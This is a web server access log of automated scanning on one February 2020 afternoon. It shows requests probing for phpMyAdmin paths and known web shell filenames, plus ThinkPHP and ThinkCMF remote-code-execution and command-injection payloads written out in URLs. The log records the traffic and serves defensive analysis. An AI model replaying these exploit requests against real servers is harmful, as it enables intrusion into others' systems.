49.235.202.182 - - [16/Feb/2020:14:43:59 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:00 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:00 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:00 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:00 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:01 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:02 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:02 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:02 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:02 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:03 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:03 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:03 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:04 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:04 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:04 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:04 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:04 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:05 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:05 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:05 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:05 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:06 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:07 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:09 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:09 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:10 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:10 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:10 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:11 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:12 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:13 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:14 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:14 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:14 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:15 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:15 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:15 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:15 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:16 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:16 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:17 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:17 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:18 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:18 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:18 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:18 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:19 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:19 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:20 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:20 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:20 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:21 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:22 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:22 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:24 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:25 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:26 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:26 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:26 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:26 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:26 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:26 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:27 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:27 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:27 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:27 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:27 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:28 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:28 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:28 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:28 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:28 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:29 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:29 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:30 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:30 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:30 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:31 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:31 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:32 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:32 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:33 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:33 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:34 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:38 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:38 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:38 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.235.202.182 - - [16/Feb/2020:14:44:38 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
42.51.225.120 - - [16/Feb/2020:14:44:38 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.202.182 - - [16/Feb/2020:14:44:38 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:44:39 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:39 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:39 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:41 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:42 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:42 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:42 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:43 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:43 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:43 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:44 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:44 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:44 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:46 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:47 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [16/Feb/2020:14:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:44:56 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:56 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:57 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:44:59 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:06 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:10 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:10 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:15 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:18 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:19 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:19 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:19 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:20 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:21 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
